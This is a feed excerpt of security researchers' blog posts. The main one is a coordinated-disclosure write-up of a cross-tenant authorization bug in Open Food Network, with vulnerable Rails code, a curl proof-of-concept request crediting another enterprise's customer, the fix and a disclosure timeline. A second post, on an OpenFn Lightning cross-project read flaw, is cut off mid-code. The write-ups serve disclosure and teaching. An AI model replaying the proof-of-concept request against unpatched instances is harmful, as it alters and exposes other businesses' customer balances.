&lt;p&gt;Found something similar or want to compare notes on multi-tenant authz bugs? I'm always up for it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and independent security researcher. GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>java</category>
      <category>appsec</category>
    </item>
    <item>
      <title>They scoped the customer and forgot the customer's ledger — a High-severity cross-tenant BOLA in Open Food Network</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Fri, 07 Aug 2026 02:55:47 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/they-scoped-the-customer-and-forgot-the-customers-ledger-a-high-severity-cross-tenant-bola-in-3j3g</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/they-scoped-the-customer-and-forgot-the-customers-ledger-a-high-severity-cross-tenant-bola-in-3j3g</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; &lt;code&gt;POST /api/v1/customer_account_transaction&lt;/code&gt; in &lt;a href="https://github.com/openfoodfoundation/openfoodnetwork" rel="noopener noreferrer"&gt;Open Food Network&lt;/a&gt; authorized against the &lt;strong&gt;class&lt;/strong&gt;, not the record. It took &lt;code&gt;customer_id&lt;/code&gt; straight from the request body, so a manager of Enterprise A could create transactions against Enterprise B's customers — and read the resulting balance back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Arbitrary credit/debit of another enterprise's customer ledger, plus disclosure of that customer's running balance. &lt;strong&gt;CWE-639 + CWE-862, CVSS 7.1 (High)&lt;/strong&gt;, integrity &lt;code&gt;High&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The part I like:&lt;/strong&gt; the parent &lt;code&gt;Customer&lt;/code&gt; model &lt;em&gt;was&lt;/em&gt; correctly scoped per enterprise. Only the child transaction wasn't. And a feature-flag removal in 5.7.1 quietly made the bug reachable on every instance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed in:&lt;/strong&gt; OFN &lt;strong&gt;5.7.4&lt;/strong&gt;. Advisory &lt;a href="https://github.com/openfoodfoundation/openfoodnetwork/security/advisories/GHSA-7cqp-qvh5-7x85" rel="noopener noreferrer"&gt;GHSA-7cqp-qvh5-7x85&lt;/a&gt;, published 28 July 2026, credited to me as reporter. CVE pending.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Open Food Network is the software behind food hubs, farmer co-ops and buying groups in dozens of countries — small producers selling directly to the people who eat their food. An "enterprise" in OFN is a shop. A customer account transaction is money: the running balance a shop keeps for a regular customer, the store credit, the amount owed.&lt;/p&gt;

&lt;p&gt;So this is not an abstract data-leak. One shop could reach into another shop's books and change what a customer owed, then read the new balance to confirm it worked. In a network of small businesses that trust a shared platform to keep their ledgers straight, that is about as direct a violation as you can get.&lt;/p&gt;

&lt;p&gt;It is also a very ordinary bug. That is the point of writing it up.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;OFN is Ruby on Rails, built on Spree, using CanCanCan for authorization. CanCanCan lets you declare abilities two ways, and the difference between them is the whole story here.&lt;/p&gt;

&lt;p&gt;You can grant an ability &lt;strong&gt;on a class&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="ss"&gt;:create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CustomerAccountTransaction&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That says "this user may create transactions." Any transaction.&lt;/p&gt;

&lt;p&gt;Or you can grant it &lt;strong&gt;with a scope&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="ss"&gt;:update&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;Customer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;enterprise_id: &lt;/span&gt;&lt;span class="no"&gt;Enterprise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;managed_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;pluck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That says "this user may update customers, &lt;em&gt;but only those belonging to enterprises they manage&lt;/em&gt;." CanCanCan will enforce the condition when you authorize an actual record.&lt;/p&gt;

&lt;p&gt;Both forms are one line. They look almost identical in a diff. They are not remotely the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;Here is the ability grant, at &lt;code&gt;app/models/spree/ability.rb:488-490&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add_customer_account_transaction_abilities&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:admin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:index&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;CustomerAccountTransaction&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the parameter: &lt;code&gt;_user&lt;/code&gt;. The leading underscore is Ruby's convention for "I am deliberately ignoring this argument." The method receives the user and does nothing with it. The grant is class-wide, handed to anyone who satisfies &lt;code&gt;can_manage_enterprises?&lt;/code&gt; — that is, anyone who manages at least one enterprise anywhere on the platform.&lt;/p&gt;

&lt;p&gt;Then the controller, &lt;code&gt;app/controllers/api/v1/customer_account_transaction_controller.rb&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;
  &lt;span class="n"&gt;authorize!&lt;/span&gt; &lt;span class="ss"&gt;:create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CustomerAccountTransaction&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt;-- the CLASS, not the record&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="n"&gt;transaction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;CustomerAccountTransaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;customer_account_transaction_params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;customer_account_transaction_params&lt;/span&gt;
  &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:customer_account_transaction&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;permit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:customer_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:description&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;authorize!&lt;/code&gt; is passed the class. It answers "may this user create transactions in general?" — yes — and never looks at &lt;em&gt;which&lt;/em&gt; customer. The &lt;code&gt;customer_id&lt;/code&gt; arrives in the request body and is used as-is.&lt;/p&gt;

&lt;p&gt;The model then does the damage on the way in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# app/models/customer_account_transaction.rb&lt;/span&gt;
&lt;span class="n"&gt;before_create&lt;/span&gt; &lt;span class="ss"&gt;:update_balance&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the serializer hands the result back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# app/serializers/api/v1/customer_account_transaction_serializer.rb&lt;/span&gt;
&lt;span class="n"&gt;attributes&lt;/span&gt; &lt;span class="ss"&gt;:amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:balance&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the write lands, the running balance is recomputed, and the new balance is returned in the response. Integrity impact and confidentiality impact in a single request.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Focsgr7ac4jnbkfouwro3.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Focsgr7ac4jnbkfouwro3.gif" alt=" " width="800" height="586"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;Two things make this worth more than a shrug.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First, the guarded sibling.&lt;/strong&gt; The parent object was scoped correctly all along, at &lt;code&gt;ability.rb:434-435&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:admin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:update&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:destroy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:show&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;Customer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="ss"&gt;enterprise_id: &lt;/span&gt;&lt;span class="no"&gt;Enterprise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;managed_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;pluck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;CustomersController&lt;/code&gt; backs it with a per-object check plus &lt;code&gt;Customer.visible.managed_by(current_api_user)&lt;/code&gt;. Somebody thought carefully about customer isolation and implemented it properly.&lt;/p&gt;

&lt;p&gt;They just did it on &lt;code&gt;Customer&lt;/code&gt; and not on the transactions hanging off &lt;code&gt;Customer&lt;/code&gt;. That asymmetry is the strongest evidence a finding is a genuine oversight rather than a design decision — when one sibling is guarded and the other isn't, nobody chose the gap. Whenever I audit an authorization model, the scoped resources are the map: the interesting question is always which of their children didn't inherit the scoping.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second, and this one I did not expect: the bug got easier to reach over time.&lt;/strong&gt; From the advisory:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For Version &amp;lt; 5.7.1 the v1 API needs to be enabled (&lt;code&gt;api_v1&lt;/code&gt; feature flag; off by default). In version 5.7.1 the &lt;code&gt;api_v1&lt;/code&gt; feature flag was removed. For &amp;gt;= 5.7.1 there is no precondition.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When I reported this, the &lt;code&gt;/api/v1&lt;/code&gt; surface sat behind a feature toggle that was off by default, which is a real mitigating factor — an admin had to switch it on per instance. Then 5.7.1 graduated the v1 API and deleted the flag. Perfectly reasonable release engineering. It also silently promoted a gated vulnerability into an ungated one on every upgraded instance, and nobody re-examined the endpoints behind the flag when the flag came down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Removing a feature flag is a change in attack surface.&lt;/strong&gt; It rarely gets reviewed like one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;Two enterprises, A and B. Each has a manager and a customer. Authenticate as A's manager and post a transaction against &lt;strong&gt;B's&lt;/strong&gt; customer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/v1/customer_account_transaction &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$MANAGER_A_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"customer_account_transaction":
        {"customer_id": 2, "amount": 1.00, "description": "marker"}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Created&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"attributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Customer 2 belongs to Enterprise B. The manager authenticating here manages only Enterprise A. The &lt;code&gt;201&lt;/code&gt; is the write; the &lt;code&gt;balance&lt;/code&gt; in the response is the read.&lt;/p&gt;

&lt;p&gt;The amount is &lt;code&gt;1.00&lt;/code&gt; and the description is &lt;code&gt;marker&lt;/code&gt; for a reason — the goal is to demonstrate the boundary is crossed, not to move money around. A one-cent marker proves the same thing a large transfer would.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The maintainers shipped &lt;a href="https://github.com/openfoodfoundation/openfoodnetwork/pull/14508" rel="noopener noreferrer"&gt;PR #14508&lt;/a&gt; and asked me to review it, which I think is the right instinct and does not happen as often as it should. The change is four lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;
  &lt;span class="n"&gt;authorize!&lt;/span&gt; &lt;span class="ss"&gt;:create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CustomerAccountTransaction&lt;/span&gt;

  &lt;span class="n"&gt;customer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;customer_account_transaction_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:customer_id&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="n"&gt;authorize!&lt;/span&gt; &lt;span class="ss"&gt;:update&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;customer&lt;/span&gt;          &lt;span class="c1"&gt;# &amp;lt;-- per-record check on the resolved object&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The class-level check stays, which is fine — it is harmless on its own. What matters is the second &lt;code&gt;authorize!&lt;/code&gt;, which resolves the customer from the body-supplied id and then authorizes &lt;strong&gt;that record&lt;/strong&gt;. Because &lt;code&gt;Customer&lt;/code&gt; already carries the &lt;code&gt;enterprise_id&lt;/code&gt; scope shown earlier, CanCanCan now refuses the cross-enterprise case for free. The fix reuses the isolation that was already there.&lt;/p&gt;

&lt;p&gt;I rebuilt the PR branch locally and re-ran my PoC against it: the cross-enterprise request that previously returned &lt;code&gt;201&lt;/code&gt; now returns &lt;code&gt;401&lt;/code&gt;, and the target customer's balance stays &lt;code&gt;0&lt;/code&gt;. Same-enterprise transactions still succeed, so the fix isn't over-broad. Verdict: &lt;strong&gt;NOT_REPRODUCED&lt;/strong&gt; on the patched branch.&lt;/p&gt;

&lt;p&gt;Shipped in &lt;strong&gt;5.7.4&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authorize the record, not the class.&lt;/strong&gt; &lt;code&gt;authorize! :create, Model&lt;/code&gt; and &lt;code&gt;authorize! :update, record&lt;/code&gt; look like the same defensive habit and defend against completely different things. If a request body contains an id, something must authorize the object that id resolves to.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hunt the children of guarded parents.&lt;/strong&gt; When you find a properly scoped resource, the vulnerability is usually one relationship away — in the child records that inherit the parent's data but not the parent's authorization. The asymmetry is the tell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat feature-flag removal as an attack-surface change.&lt;/strong&gt; Code behind a default-off flag receives less scrutiny, and that debt comes due the moment the flag disappears. When you graduate a surface, re-audit it as if it were new — because for most of your users, it is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An underscore parameter is worth a second look.&lt;/strong&gt; &lt;code&gt;def add_..._abilities(_user)&lt;/code&gt; is a small, honest signal that a grant ignores the user. In an authorization file, that is worth grepping for.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06&lt;/strong&gt; — Found via source review of the CanCanCan ability model, confirmed against &lt;code&gt;v5.7.0&lt;/code&gt;, and reported privately through GitHub's private vulnerability reporting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-07&lt;/strong&gt; — Maintainer opened fix PR #14508 and requested review. Rebuilt the branch and re-ran the PoC: cross-enterprise request now &lt;code&gt;401&lt;/code&gt;, balance unchanged, same-enterprise control still &lt;code&gt;201&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;5.7.4&lt;/strong&gt; — Fix released.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-28&lt;/strong&gt; — Advisory &lt;a href="https://github.com/openfoodfoundation/openfoodnetwork/security/advisories/GHSA-7cqp-qvh5-7x85" rel="noopener noreferrer"&gt;GHSA-7cqp-qvh5-7x85&lt;/a&gt; published by the OFN team, High 7.1, credited to me as reporter. CVE pending.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Credit where it is due: OFN triaged, fixed, and published this without any chasing, and looped me into reviewing the patch. That is what a healthy disclosure looks like.&lt;/p&gt;

&lt;h2&gt;
  
  
  Credit / CTA
&lt;/h2&gt;

&lt;p&gt;If you run Open Food Network, upgrade to &lt;strong&gt;5.7.4+&lt;/strong&gt;. If you are on 5.7.1 through 5.7.3, note there is no workaround — the feature flag that used to gate this is gone.&lt;/p&gt;

&lt;p&gt;If you write Rails and CanCanCan: grep your ability file for &lt;code&gt;can :action, Model&lt;/code&gt; with no conditions hash, then check whether the controller authorizes a record or just the class. That pairing is where these live.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and independent security researcher. GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>ruby</category>
      <category>appsec</category>
    </item>
    <item>
      <title>The guard checked the URL, not the record it returned (OpenFn Lightning, GHSA-vf9q-phg3-hqj6)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Wed, 05 Aug 2026 03:34:51 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/the-guard-checked-the-url-not-the-record-it-returned-openfn-lightning-ghsa-vf9q-phg3-hqj6-5f0k</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/the-guard-checked-the-url-not-the-record-it-returned-openfn-lightning-ghsa-vf9q-phg3-hqj6-5f0k</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; A cross-project authorization bug in &lt;a href="https://github.com/OpenFn/lightning" rel="noopener noreferrer"&gt;OpenFn Lightning&lt;/a&gt; — a viewer-role member of one project could read the full run detail (streamed logs, workflow name, step list, run creator's email) of a run belonging to &lt;em&gt;any other project&lt;/em&gt; in the same instance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Lightning is deployed by NGOs and governments to orchestrate sensitive pipelines (DHIS2 health records, humanitarian beneficiary data, civil registration). Those run logs carry real PII, so a low-privilege cross-project read is a serious confidentiality breach. OpenFn rated the advisory &lt;strong&gt;Critical&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed in:&lt;/strong&gt; &lt;code&gt;v2.17.0&lt;/code&gt; (2026-07-23). Advisory &lt;strong&gt;GHSA-vf9q-phg3-hqj6&lt;/strong&gt; (CVE requested/pending). Found through coordinated disclosure — I'm credited as a finder on the advisory alongside &lt;a href="https://github.com/lukegranto23" rel="noopener noreferrer"&gt;@lukegranto23&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Almost every multi-tenant app has this exact shape somewhere: a URL that carries &lt;em&gt;two&lt;/em&gt; identifiers — one that scopes "who are you allowed to look at" and one that names "the thing you want" — and an authorization check that only looks at the first one.&lt;/p&gt;

&lt;p&gt;It reads as safe in review because there &lt;em&gt;is&lt;/em&gt; a check, right there at the top of the request. The trap is that the check validates the wrong noun. It confirms you belong to the project named in the path, then goes and fetches a record by a different id entirely, with no filter tying that record back to the project it just validated you against. The gate is real. It's just guarding a door that isn't the one the data walks through.&lt;/p&gt;

&lt;p&gt;Lightning had the correct, scoped query already written and in use elsewhere in the same file. This one read path just didn't call it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;Lightning is an Elixir/Phoenix workflow-automation platform. Work is organized into &lt;strong&gt;projects&lt;/strong&gt;; a project has members with roles (&lt;code&gt;viewer&lt;/code&gt;, &lt;code&gt;editor&lt;/code&gt;, &lt;code&gt;admin&lt;/code&gt;). When a workflow executes it produces a &lt;strong&gt;run&lt;/strong&gt; — with a step list, timing, exit codes, a streamed execution log, and the email of whoever kicked it off. You view a run at a route shaped like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /projects/&amp;lt;project_id&amp;gt;/runs/&amp;lt;run_id&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two identifiers in one URL. &lt;code&gt;project_id&lt;/code&gt; is what the membership check keys off. &lt;code&gt;run_id&lt;/code&gt; is a UUID that names the run you want to stream. Hold onto that distinction — the whole bug lives in the gap between them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug (source → sink)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. The route guard checks the URL project — and only that.&lt;/strong&gt; The &lt;code&gt;:project_scope&lt;/code&gt; hook (&lt;code&gt;lib/lightning_web/hooks.ex&lt;/code&gt;) loads the project named in the path and confirms you're a member:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;defp&lt;/span&gt; &lt;span class="n"&gt;handle_project_scope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;project_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"project_id"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;project&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Projects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_project&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
